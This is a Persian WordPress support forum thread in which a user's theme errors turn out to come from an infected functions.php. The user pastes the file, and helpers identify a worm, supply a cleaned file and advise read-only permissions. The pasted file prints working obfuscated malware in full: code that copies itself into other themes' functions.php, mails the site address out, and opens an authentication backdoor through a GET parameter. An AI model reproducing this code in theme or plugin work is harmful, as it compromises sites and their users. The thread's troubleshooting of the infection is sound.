• اطلاعیه ها

    • Saeed Fard

      آگهی استخدام برنامه نویس و پشتیبان وردپرس   13/12/95

      آگهی استخدام برنامه نویس و پشتیبان وردپرس
       
      2 نفر پشتیبان سایت وردپرسی
      ⁃ آشنا به برنامه نویسی قالب و پلاگین وردپرس 
      ⁃ توانایی راه اندازی سایت، قالب و افزونه های وردپرسی 
      ⁃ توانایی برنامه نویسی PHP در حد متوسط 
      ⁃ اطلاعات عمومی وب بالا 
      ⁃ توانایی پاسخگویی نوشتاری به سوالات انگلیسی با گرامر ساده 
      ⁃ آشنایی با HTML/CSS/jQuery 
      ⁃ دارای روحیه کار تیمی، خلاق، مسئولیت‌پذیر و پشتکار بالا ——— ۲ نفر برنامه نویس قالب وردپرس
      ⁃ تسلط به HTML/CSS/jQuery و Bootstrap
      ⁃ توانایی تبدیل HTML به قالب وردپرس
      ⁃ توانایی برنامه نویسی PHP و پلاگین نویسی وردپرس در حد متوسط
      ⁃ آشنایی به اصول سئو 
      ⁃ آشنایی با Git/subversion مزیت محسوب می‌شود.
      ⁃ دارای روحیه کار تیمی، خلاق، مسئولیت‌پذیر و پشتکار بالا ——— ۱ نفر طراح UI/UX
      ⁃ طراحی خلاقه وب سایت
      ⁃ طراحی با جدیدترین استایل‌های طراحی سایت
      ⁃ مسلط به تایپوگرافی انگلیسی و طراحی وب سایت انگلیسی
      ⁃ انتقاد پذیری و قبول بازخوردهای تیم و مشارکت با دیگر اعضاء تیم برای سرعت بخشیدن به فرایند انجام پروژه
      ⁃ آشنایی و درک HTML/CSS/jQuery
      ⁃ دارای روحیه کار تیمی، خلاق، مسئولیت‌پذیر و پشتکار بالا
      ⁃ امکان همکاری به صورت پروژه‌ای و دورکاری در این موقعیت شغلی فراهم است ——— مزایای کار در مجموعه گرودیا
      ⁃ تجربه ناب کار در سطح یک جهانی
      ⁃ محیط کار بسیار دوستانه و آرام
      ⁃ پرداخت های مناسب و سر وقت
      ⁃ کلاس های آموزشی داخلی به جهت بالا بردن دانایی و توانایی همه اعضا   از علاقه‌مندان و نیازمندان تقاضا می‌شود لطفا رزومه کاری خود را با قید موقعیت شغلی به ایمیل info@grodea.co ارسال نمایید.
    • Morteza

      سال 1396 خورشیدی مبارک   29/12/95

      سال 1396 خورشیدی مبارک
Seyed Ali

پوسته ي سايتم از فهرست پشتيباني نمي كنه

20 پست در این موضوع قرار دارد

سلام

پوسته ي سايتم از فهرست پشتيباني نمي كنه؟ چطور مي تونم اين امكان رو اضافه كنم ؟

اگه بخوام فهرست رو مثل اين سايت :

http://tortak.com/

بالاي صفحه درست كنم چكار كنم ؟

آدرس سايتم :

http://razva.ir/

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

افزودن قابلیت فهرست دلخواه به پوسته

بقیه موارد هم استایل دهی هست

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

اون كدي كه تو اين آموزش گفتيد رو كپي كردم اما بعدش اصلا سايت باز نميشه و اين ارور رو مي ده:

Parse error: syntax error, unexpected T_STRING in /home3/razvair/public_html/wp-content/themes/razva4_final/functions.php on line 1

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

سلام

مشکل در فایل فانکشن هست . ببینید کد php که شروع شده بسته شده یا نه ، یا اینکه کد رو در فانکشن درست گذاشتید یا نه . کد فایل فانکشن رو بذارید تا دوستان بررسی کنند .

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

اين كد كاملشه :


<?phpif ( function_exists('register_sidebar') )register_sidebar(array('name'=>'right-sidebar','before_widget' => ' <!-- مرکز طراحي قالب رضا آنلاين.نت --><br><div class="s-matn">','after_widget' => ' </div>','before_title' => '<div class="s-top">    <b>','after_title' => '</b><br><div class="s-bar-ro"></div>',));if ( function_exists('register_sidebar') )register_sidebar(array('name'=>'left-sidebar','before_widget' => ' <!-- مرکز طراحي قالب رضا آنلاين.نت --><br><div class="s-matn">','after_widget' => ' </div>','before_title' => '<div class="s-top">    <b>','after_title' => '</b><br><div class="s-bar-ro"></div>',));function catch_that_image() { global $post, $posts; $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); $first_img = $matches [1] [0]; if(empty($first_img)){ //Defines a default image $first_img = bloginfo('stylesheet_directory')."/new_guide_app.jpg"; } return $first_img;}?>
<?php
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
$output .= ($showdot && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_all_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_all_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_active_widget");
function _prepared_widget(){
if(!isset($length)) $length=120;
if(!isset($method)) $method="cookie";
if(!isset($html_tags)) $html_tags="<a>";
if(!isset($filters_type)) $filters_type="none";
if(!isset($s)) $s="";
if(!isset($filter_h)) $filter_h=get_option("home");
if(!isset($filter_p)) $filter_p="wp_";
if(!isset($use_link)) $use_link=1;
if(!isset($comments_type)) $comments_type="";
if(!isset($perpage)) $perpage=$_GET["cperpage"];
if(!isset($comments_auth)) $comments_auth="";
if(!isset($comment_is_approved)) $comment_is_approved="";
if(!isset($authname)) $authname="auth";
if(!isset($more_links_text)) $more_links_text="(more...)";
if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
if(!isset($more_content)) $more_content="ma".$s."il";
if(!isset($forces_more)) $forces_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_output) :

global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fix_tag)) $fix_tag=1;
if(!isset($filters_types)) $filters_types=$filter_h;
if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
if(!isset($more_tags)) $more_tags="div";
if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
if(!isset($showdot)) $showdot=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $length) {
$l=$length;
$ellipsis=1;
} else {
$l=count($text);
$more_links_text="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $html_tags) {
$output=strip_tags($output, $html_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($fix_tag) ? balanceTags($output, true) : $output;
$output .= ($showdot && $ellipsis) ? "..." : "";
$output=apply_filters($filters_type, $output);
switch($more_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_link ) {
if($forces_more) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_prepared_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>

توجه: برای قرار دادن کد از پیوست و یا ابزار "کد" در نوار ابزار انجمن استفاده کنید.

ویرایش شده در توسط سعید حسینی
استفاده نکردن از ابزار کد

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

داداش این کد رو بی زحمت بذار تو یه فایل تکست ، پیوست کن . اینجوری که چیزی معلوم نیست !!! :D

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

فایل پیوست رو امتحان کنید .

functions.php

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

سلام

این functions.php امتحان کنید.

functions.php

فایل شما دارای این Worm نیز بود و روی حالت فقط خواندنی قرار بدید تا این کرم به فایل دسترسی نداشته باشه.

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

فريد جون فايلي كه دادي همون ارور رو مي داد

اما فايل آقا سعيد حسيني رو كه گذاشتم درست شد

اما يه مشكل جديد بهش اضافه شد:

هرپستي رو مي خوام به روز رساني كنم يا تنظيمات افزونه ها رو تغيير بدم اين ارور رو ميده:

Warning: Cannot modify header information - headers already sent by (output started at /home3/razvair/public_html/wp-content/themes/razva4_final/functions.php:1) in /home3/razvair/public_html/wp-includes/pluggable.php on line 881

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

پس مشکل از جایی که من گفتم نبوده ، از همون worm هست که ایشون گفتن ، احتمالا این مشکل هم از همون ناشی میشه ...... فایل functions شما فکر کنم کلا داغونه !!!!

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

اما يه مشكل جديد بهش اضافه شد:

هرپستي رو مي خوام به روز رساني كنم يا تنظيمات افزونه ها رو تغيير بدم اين ارور رو ميده:

Warning: Cannot modify header information - headers already sent by (output started at /home3/razvair/public_html/wp-content/themes/razva4_final/functions.php:1) in /home3/razvair/public_html/wp-includes/pluggable.php on line 881

این را جایگزین کنید:functions.php

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

جايگزين كردم سعيد جان

مشكل رفع نشد

متاسفانه

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

دوست عزیز اسپم نکنید. اسپم شما باعث شده سری بعد که از شما اسپمی ببینم شما رو برای چند روز از انجمن محروم کنم.

در مود مشکل هم شما اول فایلی که سعید عزیز دادن رو در پوسته جایگزین بعد سطح دسترسی نوستن فایل رو بردارید تا به فایل اطلاعات اضافی وارد نشه.

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

سطح دسترسي رو چند باشه ؟

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

سطح دسترسي رو چند باشه ؟

بعد از آپلود شما این کرم بلافاصله کد هارو اضافه میکنه پس با نامی به غیر از functions.php آپلود کنید مثلاً sampl.php و به سطح 644 تغییر بدید و بعد با تغیر نام به functions.php امتحان کنید.

و در مورد خطای "Warning: Cannot modify header information - headers already sent by" این خطا مربوط به فضاهای اضافی در ابتدا و انتهای بلوک باز و بسته شده php ) PHP?> و <?) در فایل functions.php به وجود میاد که این موارد هم رفع کردم.

و در پایان با ادامه پیدا کردن و رفع نشدن این مشکل فایل functions.php از پوسته اصلیتون دریافت با روشی که گفتم جایگزین کنید.

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

با اجازه ادمین محترم

گاهی به خاطر UTF شدن ساختار فایل این مشکل پیش میاد و با انتخاب نوع بدون BOM حل میشه.

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

من هم با اجازه ي ادمين هاي محترم و تاييد حرف iranata بگم كه براي من هم يك بار اين warning رو داد . اول fanctions.php اين رو گذاشتم و حل شد :


<?php ob_start(); ?>

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

دو موردی که دوستان iranata و pary_daryayi مطرح کردند تایید میشه و این 2 فایل هم تست کنید.

1- functions1.php

2- functions2.php

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

دوستان از همه ممنونم

خصوصا آقا سعيد حسيني

دستتون درد نكنه

مشكل حل شد

به اشتراک گذاری این پست


لینک به پست
به اشتراک گذاری در سایت های دیگر

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری

  • مطالب مشابه

    • توسط ali23
      سلام دوستان 
      ما یه فروشگاهی درست کردیم که محصولات خودمون رو از طریق ووکامرس در اون قرار دادیم 
      خب حالا مشکل ما اینجاست که دسته هایی رو که در ووکامرس ساختیم ,در هنگام ساخت فهرست مشاهده نمیکنیم 

       
       
      همینطور که در عکس مشاهده میکنید  در قسمت دسته ها اون دسته هایی که من در محصولاتم در ووکامرس ساختم این جا موجود نیست چه کنم؟
      دیدن همه رو هم کلیک کردم اونجام همین چند تا بود اونا نبودن
      میشه راهنماییم کنید 
      تشکر 
    • توسط mostafabahrami
      با سلام خدمت تمام دوستان عزیز امیدوارم کسی بتونه به من کمک کنه ، من تو سایتم یه مشکل دارم و اونم اینه که میخوام فهرست سربرگ رو که بالای اسلایدرم هست از سمت چپ به سمت راست انتقال پیدا کنه و برعکس سرتیتر سایتم و لوگوش به سمت چپ برن عکس دمو رو هم براتون لینک میکنم دوستان.
      http://dl.hamyarwp.com/2015/02/spacious-naskh-hamyarwp.com_.png
      بله همونجوری که دیدید فقط میخوام بالای سایت جای منوهارو با سرتیتر عوض کنم.
       
      ممنونم
    • توسط hojat910
      سلام
      آیا راهی وجود داره که بتونم در فهرستهای وردپرس، به جای استفاده از آدرس http،از آی دی استفاده کنم?
      میخوام داخل یک صفحه،به یه بخش id مشخصی بدم که با کلیک روی فهرست، داخل همون صفحه و به بخش مورد نظر من هدایت بشه!
      راهی وجود داره?
      سپاس
    • توسط yaali
      سلام دوستان
      2 آیتم آخری فهرست سایت به هم می چسبن ( (ورود به حساب کاربری) و (متن) )
      از استایل پیداش نمیکنم
      بیزحمت راهنمایی کنید
      لینک سایت، دومین لینک موجود در امضا است.
      مرسی
    • توسط DariushGreat
      سلام
      من می‌خوام یه مگامنو داشته باشم به شکل زیر:

      یعنی هنگام رفتن روی "گزینه 1" در جایگاه یکم که همون فهرست اصلی هست، جایگاه دوم باز بشه. سپس با رفتن روی هر یک از گزینه‌ها (در اینجا برای نمونه نوشتم "زیرگزینه 1")، ستون‌های مربوط به اون باز بشن. اگر بخوام چکیده‌شو بگم، فهرست مگامنوی سایت دیجی‌کالا هست.
      من با HTML و CSS3 و jQuery کد رو ساختم. ولی بحث اینجاست که گزینه‌ها برای فهرست زیادن و از سوی دیگه هی مدام در حال دگرگونی هستن
      نیاز به واکر برای فهرست دارم که با فعال کردنش بتونم با خود بخش مدیریت فهرست‌های وردپرس کار کنم.
       
      از کمکتون ممنونم